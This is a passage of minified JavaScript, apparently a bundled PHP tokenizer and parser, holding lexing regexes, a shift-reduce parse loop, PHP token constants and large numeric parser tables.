o=e.match(/(?:[^\\\\]|\\\\.)*[^\\\\]\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/g);if(o!==null){while(e.length>0){i=e.length,o=e.match(/^[\\[\\]\\;\\:\\?\\(\\)\\!\\.\\,\\>\\<\\=\\+\\-\\/\\*\\|\\&\\@\\^\\%\\\"\\'\\{\\}]/),o!==null&&(f.push(o[0]),e=e.substring(1),n>0&&o[0]===\"}\"&&n--,o[0]===\"[\"&&s++,o[0]===\"]\"&&s--),o=e.match(/^\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/);if(o!==null){f.push([parseInt(r.Constants.T_VARIABLE,10),o[0],l]),e=e.substring(o[0].length),o=e.match(/^(\\-\\>)\\s*([a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*)\\s*(\\()/),o!==null&&(f.push([parseInt(r.Constants.T_OBJECT_OPERATOR,10),o[1],l]),f.push([parseInt(r.Constants.T_STRING,10),o[2],l]),o[3]&&f.push(o[3]),e=e.substring(o[0].length));if(e.match(/^\\[/g)!==null)continue}var u;n>0?u=/^([^\\\\\\$\"{}\\]\\(\\)\\->]|\\\\.)+/g:u=/^([^\\\\\\$\"{]|\\\\.|{[^\\$]|\\$(?=[^a-zA-Z_\\x7f-\\uffff]))+/g;var a,c;while((o=e.match(u))!==null){if(e.length===1)throw new Error(o);a=0,n>0?(c=o[0].match(/^[\\[\\]\\;\\:\\?\\(\\)\\!\\.\\,\\>\\<\\=\\+\\-\\/\\*\\|\\&\\{\\}\\@\\^\\%\\$\\~]/))?f.push(c[0]):a=r.Constants.T_STRING:a=r.Constants.T_ENCAPSED_AND_WHITESPACE,a&&f.push([parseInt(a,10),o[0].replace(/\\n/g,\"\\\\n\").replace(/\\r/g,\"\"),l]),l+=o[0].split(\"\\n\").length-1,e=e.substring(o[0].length)}n>0&&e.match(/^\\->/)!==null&&(f.push([parseInt(r.Constants.T_OBJECT_OPERATOR,10),\"->\",l]),e=e.substring(2)),e.match(/^{\\$/)!==null&&(f.push([parseInt(r.Constants.T_CURLY_OPEN,10),\"{\",l]),e=e.substring(1),n++);if(i===e.length&&(o=e.match(/^(([^\\\\]|\\\\.)*?[^\\\\]\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*)/g))!==null)return}return undefined}return e=e.replace(/\\r/g,\"\"),e}},{value:r.Constants.T_NS_SEPARATOR,re:/^\\\\(?=[a-zA-Z_])/},{value:r.Constants.T_STRING,re:/^[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/},{value:-1,re:/^[\\[\\]\\;\\:\\?\\(\\)\\!\\.\\,\\>\\<\\=\\+\\-\\/\\*\\|\\&\\{\\}\\@\\^\\%\\\"\\'\\$\\~]/}],f=[],l=1,c=!1,h=!0;if(e===null)return f;typeof e!=\"string\"&&(e=e.toString());while(e.length>0&&h===!0)if(c===!0)if(n!==undefined){var p=new RegExp(\"([\\\\S\\\\s]*?)(\\\\r\\\\n|\\\\n|\\\\r)(\"+n+\")(;|\\\\r\\\\n|\\\\n)\",\"i\"),d=e.match(p);d!==null&&(f.push([parseInt(r.Constants.T_ENCAPSED_AND_WHITESPACE,10),d[1].replace(/^\\n/g,\"\").replace(/\\\\\\$/g,\"$\")+\"\\n\",l]),l+=d[1].split(\"\\n\").length,f.push([parseInt(r.Constants.T_END_HEREDOC,10),d[3],l]),e=e.substring(d[1].length+d[2].length+d[3].length),n=undefined);if(d===null)throw Error(\"sup\")}else h=a.some(function(t){if(t.afterWhitespace===!0){var n=f[f.length-1];if(!Array.isArray(n)||n[0]!==r.Constants.T_WHITESPACE&&n[0]!==r.Constants.T_OPEN_TAG&&n[0]!==r.Constants.T_COMMENT)return!1}var i=e.match(t.re);if(i!==null){if(t.value!==-1){var s=i[0];t.func!==undefined&&(s=t.func(s,t)),s!==undefined&&(f.push([parseInt(t.value,10),s,l]),l+=s.split(\"\\n\").length-1)}else f.push(i[0]);return e=e.substring(i[0].length),!0}return!1});else{var d=o.exec(e);if(d===null)return f.push([parseInt(r.Constants.T_INLINE_HTML,10),e.replace(/^\\n/,\"\"),l]),f;if(d.index>0){var v=e.substring(0,d.index);f.push([parseInt(r.Constants.T_INLINE_HTML,10),v,l]),l+=v.split(\"\\n\").length-1,e=e.substring(d.index)}c=!0}return f},r.Parser=function(e,t){var n=this.yybase,i=this.yydefault,s=this.yycheck,o=this.yyaction,u=this.yylen,a=this.yygbase,f=this.yygcheck,l=this.yyp,c=this.yygoto,h=this.yylhs,p=this.terminals,d=this.translate,v=this.yygdefault;this.pos=-1,this.line=1,this.tokenMap=this.createTokenMap(),this.dropTokens={},this.dropTokens[r.Constants.T_WHITESPACE]=1,this.dropTokens[r.Constants.T_OPEN_TAG]=1;var m=[];e.forEach(function(e,t){typeof e==\"object\"&&e[0]===r.Constants.T_OPEN_TAG_WITH_ECHO?(m.push([r.Constants.T_OPEN_TAG,e[1],e[2]]),m.push([r.Constants.T_ECHO,e[1],e[2]])):m.push(e)}),this.tokens=m;var g=this.TOKEN_NONE;this.startAttributes={startLine:1},this.endAttributes={};var y=[this.startAttributes],b=0,w=[b];this.yyastk=[],this.stackPos=0;var E,S;for(;;){if(n[b]===0)E=i[b];else{g===this.TOKEN_NONE&&(S=this.getNextToken(),g=S>=0&&S<this.TOKEN_MAP_SIZE?d[S]:this.TOKEN_INVALID,y[this.stackPos]=this.startAttributes);if(((E=n[b]+g)>=0&&E<this.YYLAST&&s[E]===g||b<this.YY2TBLSTATE&&(E=n[b+this.YYNLSTATES]+g)>=0&&E<this.YYLAST&&s[E]===g)&&(E=o[E])!==this.YYDEFAULT)if(E>0){++this.stackPos,w[this.stackPos]=b=E,this.yyastk[this.stackPos]=this.tokenValue,y[this.stackPos]=this.startAttributes,g=this.TOKEN_NONE;if(E<this.YYNLSTATES)continue;E-=this.YYNLSTATES}else E=-E;else E=i[b]}for(;;){if(E===0)return this.yyval;if(E===this.YYUNEXPECTED){if(t!==!0){var N=[];for(var C=0;C<this.TOKEN_MAP_SIZE;++C)if((E=n[b]+C)>=0&&E<this.YYLAST&&s[E]==C||b<this.YY2TBLSTATE&&(E=n[b+this.YYNLSTATES]+C)&&E<this.YYLAST&&s[E]==C)if(o[E]!=this.YYUNEXPECTED){if(N.length==4){N=[];break}N.push(this.terminals[C])}var k=\"\";throw N.length&&(k=\", expecting \"+N.join(\" or \")),new r.ParseError(\"syntax error, unexpected \"+p[g]+k,this.startAttributes.startLine)}return this.startAttributes.startLine}for(var x in this.endAttributes)y[this.stackPos-u[E]][x]=this.endAttributes[x];try{this[\"yyn\"+E](y[this.stackPos-u[E]])}catch(T){throw T}this.stackPos-=u[E],E=h[E],(l=a[E]+w[this.stackPos])>=0&&l<this.YYGLAST&&f[l]===E?b=c[l]:b=v[E],++this.stackPos,w[this.stackPos]=b,this.yyastk[this.stackPos]=this.yyval,y[this.stackPos]=this.startAttributes;if(b<this.YYNLSTATES)break;E=b-this.YYNLSTATES}}},r.ParseError=function(e,t){this.message=e,this.line=t},r.Parser.prototype.MODIFIER_PUBLIC=1,r.Parser.prototype.MODIFIER_PROTECTED=2,r.Parser.prototype.MODIFIER_PRIVATE=4,r.Parser.prototype.MODIFIER_STATIC=8,r.Parser.prototype.MODIFIER_ABSTRACT=16,r.Parser.prototype.MODIFIER_FINAL=32,r.Parser.prototype.getNextToken=function(){this.startAttributes={},this.endAttributes={};var e,t;while(this.tokens[++this.pos]!==undefined){e=this.tokens[this.pos];if(typeof e==\"string\")return this.startAttributes.startLine=this.line,this.endAttributes.endLine=this.line,'b\"'===e?(this.tokenValue='b\"','\"'.charCodeAt(0)):(this.tokenValue=e,e.charCodeAt(0));this.line+=(t=e[1].match(/\\n/g))===null?0:t.length;if(r.Constants.T_COMMENT===e[0])Array.isArray(this.startAttributes.comments)||(this.startAttributes.comments=[]),this.startAttributes.comments.push({type:\"comment\",comment:e[1],line:e[2]});else if(r.Constants.T_DOC_COMMENT===e[0])this.startAttributes.comments.push(new PHPParser_Comment_Doc(e[1],e[2]));else if(this.dropTokens[e[0]]===undefined)return this.tokenValue=e[1],this.startAttributes.startLine=e[2],this.endAttributes.endLine=this.line,this.tokenMap[e[0]]}return this.startAttributes.startLine=this.line,0},r.Parser.prototype.tokenName=function(e){var t=[\"T_INCLUDE\",\"T_INCLUDE_ONCE\",\"T_EVAL\",\"T_REQUIRE\",\"T_REQUIRE_ONCE\",\"T_LOGICAL_OR\",\"T_LOGICAL_XOR\",\"T_LOGICAL_AND\",\"T_PRINT\",\"T_PLUS_EQUAL\",\"T_MINUS_EQUAL\",\"T_MUL_EQUAL\",\"T_DIV_EQUAL\",\"T_CONCAT_EQUAL\",\"T_MOD_EQUAL\",\"T_AND_EQUAL\",\"T_OR_EQUAL\",\"T_XOR_EQUAL\",\"T_SL_EQUAL\",\"T_SR_EQUAL\",\"T_BOOLEAN_OR\",\"T_BOOLEAN_AND\",\"T_IS_EQUAL\",\"T_IS_NOT_EQUAL\",\"T_IS_IDENTICAL\",\"T_IS_NOT_IDENTICAL\",\"T_IS_SMALLER_OR_EQUAL\",\"T_IS_GREATER_OR_EQUAL\",\"T_SL\",\"T_SR\",\"T_INSTANCEOF\",\"T_INC\",\"T_DEC\",\"T_INT_CAST\",\"T_DOUBLE_CAST\",\"T_STRING_CAST\",\"T_ARRAY_CAST\",\"T_OBJECT_CAST\",\"T_BOOL_CAST\",\"T_UNSET_CAST\",\"T_NEW\",\"T_CLONE\",\"T_EXIT\",\"T_IF\",\"T_ELSEIF\",\"T_ELSE\",\"T_ENDIF\",\"T_LNUMBER\",\"T_DNUMBER\",\"T_STRING\",\"T_STRING_VARNAME\",\"T_VARIABLE\",\"T_NUM_STRING\",\"T_INLINE_HTML\",\"T_CHARACTER\",\"T_BAD_CHARACTER\",\"T_ENCAPSED_AND_WHITESPACE\",\"T_CONSTANT_ENCAPSED_STRING\",\"T_ECHO\",\"T_DO\",\"T_WHILE\",\"T_ENDWHILE\",\"T_FOR\",\"T_ENDFOR\",\"T_FOREACH\",\"T_ENDFOREACH\",\"T_DECLARE\",\"T_ENDDECLARE\",\"T_AS\",\"T_SWITCH\",\"T_ENDSWITCH\",\"T_CASE\",\"T_DEFAULT\",\"T_BREAK\",\"T_CONTINUE\",\"T_GOTO\",\"T_FUNCTION\",\"T_CONST\",\"T_RETURN\",\"T_TRY\",\"T_CATCH\",\"T_THROW\",\"T_USE\",\"T_INSTEADOF\",\"T_GLOBAL\",\"T_STATIC\",\"T_ABSTRACT\",\"T_FINAL\",\"T_PRIVATE\",\"T_PROTECTED\",\"T_PUBLIC\",\"T_VAR\",\"T_UNSET\",\"T_ISSET\",\"T_EMPTY\",\"T_HALT_COMPILER\",\"T_CLASS\",\"T_TRAIT\",\"T_INTERFACE\",\"T_EXTENDS\",\"T_IMPLEMENTS\",\"T_OBJECT_OPERATOR\",\"T_DOUBLE_ARROW\",\"T_LIST\",\"T_ARRAY\",\"T_CALLABLE\",\"T_CLASS_C\",\"T_TRAIT_C\",\"T_METHOD_C\",\"T_FUNC_C\",\"T_LINE\",\"T_FILE\",\"T_COMMENT\",\"T_DOC_COMMENT\",\"T_OPEN_TAG\",\"T_OPEN_TAG_WITH_ECHO\",\"T_CLOSE_TAG\",\"T_WHITESPACE\",\"T_START_HEREDOC\",\"T_END_HEREDOC\",\"T_DOLLAR_OPEN_CURLY_BRACES\",\"T_CURLY_OPEN\",\"T_PAAMAYIM_NEKUDOTAYIM\",\"T_DOUBLE_COLON\",\"T_NAMESPACE\",\"T_NS_C\",\"T_DIR\",\"T_NS_SEPARATOR\"],n=\"UNKNOWN\";return t.some(function(t){return r.Constants[t]===e?(n=t,!0):!1}),n},r.Parser.prototype.createTokenMap=function(){var e={},t,n,i=r.Constants.T_PAAMAYIM_NEKUDOTAYIM;for(n=256;n<1e3;++n)i===n?e[n]=this.T_PAAMAYIM_NEKUDOTAYIM:r.Constants.T_OPEN_TAG_WITH_ECHO===n?e[n]=r.Constants.T_ECHO:r.Constants.T_CLOSE_TAG===n?e[n]=59:\"UNKNOWN\"!==(t=this.tokenName(n))&&(e[n]=this[t]);return e};var i=function(){this.yyval=this.yyastk[this.stackPos-0]};r.Parser.prototype.MakeArray=function(e){return Array.isArray(e)?e:[e]},r.Parser.prototype.parseString=function(e){var t=0;return\"b\"===e[0]&&(t=1),\"'\"===e[t]?e=e.replace([\"\\\\\\\\\",\"\\\\'\"],[\"\\\\\",\"'\"]):e=this.parseEscapeSequences(e,'\"'),e},r.Parser.prototype.parseEscapeSequences=function(e,t){undefined!==t&&(e=e.replace(new RegExp(\"\\\\\"+t,\"g\"),t));var n={\"\\\\\":\"\\\\\",$:\"$\",n:\"\\n\",r:\"\\r\",t:\"\t\",f:\"\\f\",v:\"\u000b\",e:\"\u001b\"};return e.replace(/~\\\\\\\\([\\\\\\\\$nrtfve]|[xX][0-9a-fA-F]{1,2}|[0-7]{1,3})~/g,function(e){var t=e[1];return n[t]!==undefined?n[t]:\"x\"===t[0]||\"X\"===t[0]?chr(hexdec(t)):chr(octdec(t))})},r.Parser.prototype.TOKEN_NONE=-1,r.Parser.prototype.TOKEN_INVALID=149,r.Parser.prototype.TOKEN_MAP_SIZE=384,r.Parser.prototype.YYLAST=913,r.Parser.prototype.YY2TBLSTATE=328,r.Parser.prototype.YYGLAST=415,r.Parser.prototype.YYNLSTATES=544,r.Parser.prototype.YYUNEXPECTED=32767,r.Parser.prototype.YYDEFAULT=-32766,r.Parser.prototype.YYERRTOK=256,r.Parser.prototype.T_INCLUDE=257,r.Parser.prototype.T_INCLUDE_ONCE=258,r.Parser.prototype.T_EVAL=259,r.Parser.prototype.T_REQUIRE=260,r.Parser.prototype.T_REQUIRE_ONCE=261,r.Parser.prototype.T_LOGICAL_OR=262,r.Parser.prototype.T_LOGICAL_XOR=263,r.Parser.prototype.T_LOGICAL_AND=264,r.Parser.prototype.T_PRINT=265,r.Parser.prototype.T_PLUS_EQUAL=266,r.Parser.prototype.T_MINUS_EQUAL=267,r.Parser.prototype.T_MUL_EQUAL=268,r.Parser.prototype.T_DIV_EQUAL=269,r.Parser.prototype.T_CONCAT_EQUAL=270,r.Parser.prototype.T_MOD_EQUAL=271,r.Parser.prototype.T_AND_EQUAL=272,r.Parser.prototype.T_OR_EQUAL=273,r.Parser.prototype.T_XOR_EQUAL=274,r.Parser.prototype.T_SL_EQUAL=275,r.Parser.prototype.T_SR_EQUAL=276,r.Parser.prototype.T_BOOLEAN_OR=277,r.Parser.prototype.T_BOOLEAN_AND=278,r.Parser.prototype.T_IS_EQUAL=279,r.Parser.prototype.T_IS_NOT_EQUAL=280,r.Parser.prototype.T_IS_IDENTICAL=281,r.Parser.prototype.T_IS_NOT_IDENTICAL=282,r.Parser.prototype.T_IS_SMALLER_OR_EQUAL=283,r.Parser.prototype.T_IS_GREATER_OR_EQUAL=284,r.Parser.prototype.T_SL=285,r.Parser.prototype.T_SR=286,r.Parser.prototype.T_INSTANCEOF=287,r.Parser.prototype.T_INC=288,r.Parser.prototype.T_DEC=289,r.Parser.prototype.T_INT_CAST=290,r.Parser.prototype.T_DOUBLE_CAST=291,r.Parser.prototype.T_STRING_CAST=292,r.Parser.prototype.T_ARRAY_CAST=293,r.Parser.prototype.T_OBJECT_CAST=294,r.Parser.prototype.T_BOOL_CAST=295,r.Parser.prototype.T_UNSET_CAST=296,r.Parser.prototype.T_NEW=297,r.Parser.prototype.T_CLONE=298,r.Parser.prototype.T_EXIT=299,r.Parser.prototype.T_IF=300,r.Parser.prototype.T_ELSEIF=301,r.Parser.prototype.T_ELSE=302,r.Parser.prototype.T_ENDIF=303,r.Parser.prototype.T_LNUMBER=304,r.Parser.prototype.T_DNUMBER=305,r.Parser.prototype.T_STRING=306,r.Parser.prototype.T_STRING_VARNAME=307,r.Parser.prototype.T_VARIABLE=308,r.Parser.prototype.T_NUM_STRING=309,r.Parser.prototype.T_INLINE_HTML=310,r.Parser.prototype.T_CHARACTER=311,r.Parser.prototype.T_BAD_CHARACTER=312,r.Parser.prototype.T_ENCAPSED_AND_WHITESPACE=313,r.Parser.prototype.T_CONSTANT_ENCAPSED_STRING=314,r.Parser.prototype.T_ECHO=315,r.Parser.prototype.T_DO=316,r.Parser.prototype.T_WHILE=317,r.Parser.prototype.T_ENDWHILE=318,r.Parser.prototype.T_FOR=319,r.Parser.prototype.T_ENDFOR=320,r.Parser.prototype.T_FOREACH=321,r.Parser.prototype.T_ENDFOREACH=322,r.Parser.prototype.T_DECLARE=323,r.Parser.prototype.T_ENDDECLARE=324,r.Parser.prototype.T_AS=325,r.Parser.prototype.T_SWITCH=326,r.Parser.prototype.T_ENDSWITCH=327,r.Parser.prototype.T_CASE=328,r.Parser.prototype.T_DEFAULT=329,r.Parser.prototype.T_BREAK=330,r.Parser.prototype.T_CONTINUE=331,r.Parser.prototype.T_GOTO=332,r.Parser.prototype.T_FUNCTION=333,r.Parser.prototype.T_CONST=334,r.Parser.prototype.T_RETURN=335,r.Parser.prototype.T_TRY=336,r.Parser.prototype.T_CATCH=337,r.Parser.prototype.T_THROW=338,r.Parser.prototype.T_USE=339,r.Parser.prototype.T_INSTEADOF=340,r.Parser.prototype.T_GLOBAL=341,r.Parser.prototype.T_STATIC=342,r.Parser.prototype.T_ABSTRACT=343,r.Parser.prototype.T_FINAL=344,r.Parser.prototype.T_PRIVATE=345,r.Parser.prototype.T_PROTECTED=346,r.Parser.prototype.T_PUBLIC=347,r.Parser.prototype.T_VAR=348,r.Parser.prototype.T_UNSET=349,r.Parser.prototype.T_ISSET=350,r.Parser.prototype.T_EMPTY=351,r.Parser.prototype.T_HALT_COMPILER=352,r.Parser.prototype.T_CLASS=353,r.Parser.prototype.T_TRAIT=354,r.Parser.prototype.T_INTERFACE=355,r.Parser.prototype.T_EXTENDS=356,r.Parser.prototype.T_IMPLEMENTS=357,r.Parser.prototype.T_OBJECT_OPERATOR=358,r.Parser.prototype.T_DOUBLE_ARROW=359,r.Parser.prototype.T_LIST=360,r.Parser.prototype.T_ARRAY=361,r.Parser.prototype.T_CALLABLE=362,r.Parser.prototype.T_CLASS_C=363,r.Parser.prototype.T_TRAIT_C=364,r.Parser.prototype.T_METHOD_C=365,r.Parser.prototype.T_FUNC_C=366,r.Parser.prototype.T_LINE=367,r.Parser.prototype.T_FILE=368,r.Parser.prototype.T_COMMENT=369,r.Parser.prototype.T_DOC_COMMENT=370,r.Parser.prototype.T_OPEN_TAG=371,r.Parser.prototype.T_OPEN_TAG_WITH_ECHO=372,r.Parser.prototype.T_CLOSE_TAG=373,r.Parser.prototype.T_WHITESPACE=374,r.Parser.prototype.T_START_HEREDOC=375,r.Parser.prototype.T_END_HEREDOC=376,r.Parser.prototype.T_DOLLAR_OPEN_CURLY_BRACES=377,r.Parser.prototype.T_CURLY_OPEN=378,r.Parser.prototype.T_PAAMAYIM_NEKUDOTAYIM=379,r.Parser.prototype.T_NAMESPACE=380,r.Parser.prototype.T_NS_C=381,r.Parser.prototype.T_DIR=382,r.Parser.prototype.T_NS_SEPARATOR=383,r.Parser.prototype.terminals=[\"$EOF\",\"error\",\"T_INCLUDE\",\"T_INCLUDE_ONCE\",\"T_EVAL\",\"T_REQUIRE\",\"T_REQUIRE_ONCE\",\"','\",\"T_LOGICAL_OR\",\"T_LOGICAL_XOR\",\"T_LOGICAL_AND\",\"T_PRINT\",\"'='\",\"T_PLUS_EQUAL\",\"T_MINUS_EQUAL\",\"T_MUL_EQUAL\",\"T_DIV_EQUAL\",\"T_CONCAT_EQUAL\",\"T_MOD_EQUAL\",\"T_AND_EQUAL\",\"T_OR_EQUAL\",\"T_XOR_EQUAL\",\"T_SL_EQUAL\",\"T_SR_EQUAL\",\"'?'\",\"':'\",\"T_BOOLEAN_OR\",\"T_BOOLEAN_AND\",\"'|'\",\"'^'\",\"'&'\",\"T_IS_EQUAL\",\"T_IS_NOT_EQUAL\",\"T_IS_IDENTICAL\",\"T_IS_NOT_IDENTICAL\",\"'<'\",\"T_IS_SMALLER_OR_EQUAL\",\"'>'\",\"T_IS_GREATER_OR_EQUAL\",\"T_SL\",\"T_SR\",\"'+'\",\"'-'\",\"'.'\",\"'*'\",\"'/'\",\"'%'\",\"'!'\",\"T_INSTANCEOF\",\"'~'\",\"T_INC\",\"T_DEC\",\"T_INT_CAST\",\"T_DOUBLE_CAST\",\"T_STRING_CAST\",\"T_ARRAY_CAST\",\"T_OBJECT_CAST\",\"T_BOOL_CAST\",\"T_UNSET_CAST\",\"'@'\",\"'['\",\"T_NEW\",\"T_CLONE\",\"T_EXIT\",\"T_IF\",\"T_ELSEIF\",\"T_ELSE\",\"T_ENDIF\",\"T_LNUMBER\",\"T_DNUMBER\",\"T_STRING\",\"T_STRING_VARNAME\",\"T_VARIABLE\",\"T_NUM_STRING\",\"T_INLINE_HTML\",\"T_ENCAPSED_AND_WHITESPACE\",\"T_CONSTANT_ENCAPSED_STRING\",\"T_ECHO\",\"T_DO\",\"T_WHILE\",\"T_ENDWHILE\",\"T_FOR\",\"T_ENDFOR\",\"T_FOREACH\",\"T_ENDFOREACH\",\"T_DECLARE\",\"T_ENDDECLARE\",\"T_AS\",\"T_SWITCH\",\"T_ENDSWITCH\",\"T_CASE\",\"T_DEFAULT\",\"T_BREAK\",\"T_CONTINUE\",\"T_GOTO\",\"T_FUNCTION\",\"T_CONST\",\"T_RETURN\",\"T_TRY\",\"T_CATCH\",\"T_THROW\",\"T_USE\",\"T_INSTEADOF\",\"T_GLOBAL\",\"T_STATIC\",\"T_ABSTRACT\",\"T_FINAL\",\"T_PRIVATE\",\"T_PROTECTED\",\"T_PUBLIC\",\"T_VAR\",\"T_UNSET\",\"T_ISSET\",\"T_EMPTY\",\"T_HALT_COMPILER\",\"T_CLASS\",\"T_TRAIT\",\"T_INTERFACE\",\"T_EXTENDS\",\"T_IMPLEMENTS\",\"T_OBJECT_OPERATOR\",\"T_DOUBLE_ARROW\",\"T_LIST\",\"T_ARRAY\",\"T_CALLABLE\",\"T_CLASS_C\",\"T_TRAIT_C\",\"T_METHOD_C\",\"T_FUNC_C\",\"T_LINE\",\"T_FILE\",\"T_START_HEREDOC\",\"T_END_HEREDOC\",\"T_DOLLAR_OPEN_CURLY_BRACES\",\"T_CURLY_OPEN\",\"T_PAAMAYIM_NEKUDOTAYIM\",\"T_NAMESPACE\",\"T_NS_C\",\"T_DIR\",\"T_NS_SEPARATOR\",\"';'\",\"'{'\",\"'}'\",\"'('\",\"')'\",\"'$'\",\"']'\",\"'`'\",\"'\\\"'\",\"???\"],r.Parser.prototype.translate=[0,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,47,148,149,145,46,30,149,143,144,44,41,7,42,43,45,149,149,149,149,149,149,149,149,149,149,25,140,35,12,37,24,59,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,60,149,146,29,149,147,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,141,28,142,49,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,1,2,3,4,5,6,8,9,10,11,13,14,15,16,17,18,19,20,21,22,23,26,27,31,32,33,34,36,38,39,40,48,50,51,52,53,54,55,56,57,58,61,62,63,64,65,66,67,68,69,70,71,72,73,74,149,149,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,149,149,149,149,149,149,131,132,133,134,135,136,137,138,139],r.Parser.prototype.yyaction=[61,62,363,63,64,-32766,-32766,-32766,509,65,708,709,710,707,706,705,-32766,-32766,-32766,-32766,-32766,-32766,132,-32766,-32766,-32766,-32766,-32766,-32767,-32767,-32767,-32767,-32766,335,-32766,-32766,-32766,-32766,-32766,66,67,351,663,664,40,68,548,69,232,233,70,71,72,73,74,75,76,77,30,246,78,336,364,-112,0,469,833,834,365,641,890,436,590,41,835,53,27,366,294,367,687,368,921,369,923,922,370,-32766,-32766,-32766,42,43,371,339,126,44,372,337,79,297,349,292,293,-32766,918,-32766,-32766,373,374,375,376,377,391,199,361,338,573,613,378,379,380,381,845,839,840,841,842,836,837,253,-32766,87,88,89,391,843,838,338,597,519,128,80,129,273,332,257,261,47,673,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,799,247,884,108,109,110,226,247,21,-32766,310,-32766,-32766,-32766,642,548,-32766,-32766,-32766,-32766,56,353,-32766,-32766,-32766,55,-32766,-32766,-32766,-32766,-32766,58,-32766,-32766,-32766,-32766,-32766,-32766,-32766,-32766,-32766,557,-32766,-32766,518,-32766,548,890,-32766,390,-32766,228,252,-32766,-32766,-32766,-32766,-32766,275,-32766,234,-32766,587,588,-32766,-32766,-32766,-32766,-32766,-32766,-32766,46,236,-32766,-32766,281,-32766,682,348,-32766,390,-32766,346,333,521,-32766,-32766,-32766,271,911,262,237,446,911,-32766,894,59,700,358,135,548,123,538,35,-32766,333,122,-32766,-32766,-32766,271,-32766,124,-32766,692,-32766,-32766,-32766,-32766,700,273,22,-32766,-32766,-32766,-32766,239,-32766,-32766,612,-32766,548,134,-32766,390,-32766,462,354,-32766,-32766,-32766,-32766,-32766,227,-32766,238,-32766,845,542,-32766,856,611,200,-32766,-32766,-32766,259,280,-32766,-32766,201,-32766,855,129,-32766,390,130,202,333,206,-32766,-32766,-32766,271,-32766,-32766,-32766,125,601,-32766,136,299,700,489,28,548,105,106,107,-32766,498,499,-32766,-32766,-32766,207,-32766,133,-32766,525,-32766,-32766,-32766,-32766,663,664,527,-32766,-32766,-32766,-32766,528,-32766,-32766,610,-32766,548,427,-32766,390,-32766,532,539,-32766,-32766,-32766,-32766,-32766,240,-32766,247,-32766,697,543,-32766,554,523,608,-32766,-32766,-32766,686,535,-32766,-32766,54,-32766,57,60,-32766,390,246,-155,278,345,-32766,-32766,-32766,506,347,-152,471,402,403,-32766,405,404,272,493,416,548,318,417,505,-32766,517,548,-32766,-32766,-32766,549,-32766,562,-32766,916,-32766,-32766,-32766,-32766,564,826,848,-32766,-32766,-32766,-32766,694,-32766,-32766,485,-32766,548,487,-32766,390,-32766,504,802,-32766,-32766,-32766,-32766,-32766,279,-32766,911,-32766,502,492,-32766,413,483,269,-32766,-32766,-32766,243,337,-32766,-32766,418,-32766,454,229,-32766,390,274,373,374,344,-32766,-32766,-32766,360,614,-32766,573,613,378,379,-274,548,615,-332,844,-32766,258,51,-32766,-32766,-32766,270,-32766,346,-32766,52,-32766,260,0,-32766,-333,-32766,-32766,-32766,-32766,-32766,-32766,205,-32766,-32766,49,-32766,548,424,-32766,390,-32766,-266,264,-32766,-32766,-32766,-32766,-32766,409,-32766,343,-32766,265,312,-32766,470,513,-275,-32766,-32766,-32766,920,337,-32766,-32766,530,-32766,531,600,-32766,390,592,373,374,578,581,-32766,-32766,644,629,-32766,573,613,378,379,635,548,636,576,627,-32766,625,693,-32766,-32766,-32766,691,-32766,591,-32766,582,-32766,203,204,-32766,584,583,-32766,-32766,-32766,-32766,586,599,-32766,-32766,589,-32766,690,558,-32766,390,197,683,919,86,520,522,-32766,524,833,834,529,533,-32766,534,537,541,835,48,111,112,113,114,115,116,117,118,119,120,121,127,31,633,337,330,634,585,-32766,32,291,337,330,478,373,374,917,291,891,889,875,373,374,553,613,378,379,737,739,887,553,613,378,379,824,451,675,839,840,841,842,836,837,320,895,277,885,23,33,843,838,556,277,337,330,-32766,34,-32766,555,291,36,37,38,373,374,39,45,50,81,82,83,84,553,613,378,379,-32767,-32767,-32767,-32767,103,104,105,106,107,337,85,131,137,337,138,198,224,225,277,373,374,-332,230,373,374,24,337,231,573,613,378,379,573,613,378,379,373,374,235,248,249,250,337,251,0,573,613,378,379,276,329,331,373,374,-32766,337,574,490,792,337,609,573,613,378,379,373,374,25,300,373,374,319,337,795,573,613,378,379,573,613,378,379,373,374,516,355,359,445,482,796,507,573,613,378,379,508,548,337,890,775,791,337,604,803,808,806,698,373,374,888,807,373,374,-32766,-32766,-32766,573,613,378,379,573,613,378,379,873,832,804,872,851,-32766,809,-32766,-32766,-32766,-32766,805,20,26,29,298,480,515,770,778,827,457,0,900,455,774,0,0,0,874,870,886,823,915,852,869,488,0,391,793,0,338,0,0,0,340,0,273],r.Parser.prototype.yycheck=[2,3,4,5,6,8,9,10,70,11,104,105,106,107,108,109,8,9,10,8,9,24,60,26,27,28,29,30,31,32,33,34,24,7,26,27,28,29,30,41,42,7,123,124,7,47,70,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,144,0,75,68,69,70,25,72,70,74,7,76,77,78,79,7,81,142,83,70,85,72,73,88,8,9,10,92,93,94,95,7,97,98,95,100,7,7,103,104,24,142,26,27,105,106,111,112,113,136,7,7,139,114,115,116,117,122,123,132,125,126,127,128,129,130,131,8,8,9,10,136,137,138,139,140,141,25,143,141,145,142,147,148,24,72,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,144,48,72,44,45,46,30,48,144,64,72,8,9,